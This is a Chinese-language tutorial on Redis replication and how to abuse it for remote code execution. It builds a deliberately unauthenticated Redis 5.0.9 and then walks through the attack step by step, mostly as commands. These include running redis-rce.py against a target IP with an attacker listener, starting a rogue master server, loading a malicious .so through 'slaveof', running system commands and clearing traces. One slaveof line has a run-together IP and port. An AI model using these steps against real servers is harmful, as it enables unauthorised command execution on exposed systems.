主从复制
Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
部署redis
注意:主从复制的利用方式不需要root权限,在6.0.5版本及以后版本中已经修复了该问题。,所以这里要下载6.0.5以下的版本,同时需要高于4.x的版本才行(因为4.X才有的加载模块的功能)。
下载:http://download.redis.io/releases/redis-5.0.9.tar.gz
编译安装:
tar -zxf redis-5.0.9.tar.gz
cd redis-5.0.9
make
cd src
make install
启动:
redis-server
高版本的redis默认安装后是不允许远程连接的,且需要密码认证,所以需要修改一下配置文件:
vim redis-5.0.9/redis.conf
注释掉下面这行,或者改成bind 0.0.0.0
将yes改为no,取消密码认证
重新运行redis-server redis-5.0.9/redis.conf (因为是源码安装,这里需要指定配置文件进行启动)
Getshell原理
在redis 4.x之后的版本中,允许以模块化的形式从外部加载.so文件,而这个文件中代码将会变成redis功能的一部分,从而实现功能扩展。我们利用这个功能通过编译恶意的.so文件,并将该文件同步到从属redis上,进行加载,即可实现恶意代码的功能。
过程
.so源码下载地址:https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
编译
cd RedisModules-ExecuteCommand
make
然后生成一个so文件RedisModules-ExecuteCommand/src/module.so
1.下载自动化攻击脚本:
git clone https://github.com/Ridter/redis-rce.git
命令:
pip install -r requirement.txt
python3 redis-rce.py -r 192.168.194.129 -p6379 -L 192.168.194.1 -fmodule.so
选择一个shell方式:
选择交互式shell:
使用反弹shell:
2.如果是用手动的方式:
下载工具:https://codeload.github.com/LoRexxar/redis-rogue-server/zip/master
启动一个模拟的redis服务
python RogueServer.py --lport 1234 --exp exp.so
然后利用未授权访问漏洞连接对方redis服务:
#设置redis的备份路径为当前目录
config set dir ./
#设置备份文件名为module.so,默认为dump.rdb
config set dbfilename module.so
#设置主服务器IP和端口
slaveof 192.168.194.11234 #就是这一步,决定了后面会从这里加载恶意so文件。
#加载恶意模块
module load ./module.so
这个加载module本身其实在配置文件里也可以写上加载的模块路径,但因为是攻击,所以一般不具备修改配置文件的条件:
redis.conf
#切断主从,关闭复制功能
slaveof no one
#执行系统命令
system.exec 'whoami'
#通过dump.rdb文件恢复数据
config set dbfilename dump.rdb
#删除exp.so
system.exec 'rm ./exp.so'
#卸载system模块的加载
module unload system